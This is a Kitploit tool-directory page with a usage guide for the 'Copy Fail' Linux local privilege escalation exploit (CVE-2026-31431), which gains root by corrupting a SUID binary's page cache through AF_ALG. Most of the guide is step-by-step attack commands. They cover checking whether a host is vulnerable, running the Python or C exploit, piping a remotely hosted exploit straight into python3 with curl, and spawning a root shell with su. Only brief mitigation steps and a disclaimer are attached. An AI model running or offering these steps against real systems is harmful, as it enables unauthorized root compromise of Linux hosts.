Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Copy-Fail-Exploit-CVE-2026-31431 — Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw, it needs neither. The same 732-byte Python script (or .c elf) roots every Linux distribution shipped since 2017. | Kitploit
Tools/GitHubGitHub/painoob/copy-fail-exploit-cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubpainoob/copy-fail-exploit-cve-2026-31431

Copy-Fail-Exploit-CVE-2026-31431

Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw, it needs neither. The same 732-byte Python script (or .c elf) roots every Linux distribution shipped since 2017.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
104223 months agoReviewed by Kitploit

Copy Fail (CVE-2026-31431) – Exploit Usage Guide

⚠️ Disclaimer

This content is for educational and authorized security testing purposes only. Do NOT run this on systems without explicit permission.


📌 Overview

Copy Fail (CVE-2026-31431) is a Linux Local Privilege Escalation (LPE) vulnerability affecting the kernel crypto API via AF_ALG.

It allows an unprivileged user to overwrite page cache data of a SUID binary (e.g., /usr/bin/su) and gain root access.


🧠 Requirements

System Requirements

  • Linux kernel (vulnerable – depends on patch status)
  • AF_ALG enabled
  • algif_aead module loaded

Python Exploit Requirements

  • Python 3.10+
  • Support for:
    • os.splice
    • socket(AF_ALG)

🔍 Checking Vulnerability

root@kitploit:~
uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Expected indicators:

  • authencesn(hmac(sha256),cbc(aes))
  • algif_aead loaded

🐍 Running the Python Exploit

1. Execute directly

root@kitploit:~
python3 copy_fail_exp.py

2. Or via curl (if remote hosted)

root@kitploit:~
curl https://copy.fail/exp | python3

3. Trigger root shell

root@kitploit:~
su
id

Expected result:

root@kitploit:~
uid=0(root)

⚠️ Common Issues (Python)

❌ Error: os.splice not found

Cause:

  • Python version < 3.10
  • Restricted build

Solution:

  • Use a newer Python binary
  • Upload a static Python interpreter

⚙️ Compiling the C Version

1. Compile

root@kitploit:~
gcc copy_fail_exp.c -o copy_fail

2. Make executable

root@kitploit:~
chmod +x copy_fail

3. Run exploit

root@kitploit:~
./copy_fail
su

⚠️ Common Issues (C)

❌ Exploit runs but no root

Possible causes:

  • Kernel patched
  • Incorrect offsets
  • Environment mismatch

❌ Compilation errors

Install required tools:

root@kitploit:~
apt update && apt install build-essential

🧪 Troubleshooting

Check if system is patched

root@kitploit:~
dmesg | grep -i alg

Verify module

root@kitploit:~
lsmod | grep algif_aead

🛡️ Mitigation

Disable vulnerable module

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Apply kernel patch

Update your system:

root@kitploit:~
apt update && apt upgrade

📌 Notes

  • Exploit modifies page cache only (non-persistent)
  • Requires local access
  • Not remotely exploitable by default

🧠 Final Insight

If the exploit fails, consider:

  • Kernel already patched
  • Environment restrictions
  • Alternate privilege escalation vectors (SUID, capabilities, sudo misconfig)

📚 References

  • https://copy.fail/
  • CVE-2026-31431

👨‍💻 Author Notes

Use this exploit responsibly in labs, CTFs, and authorized pentests only.

Download Tool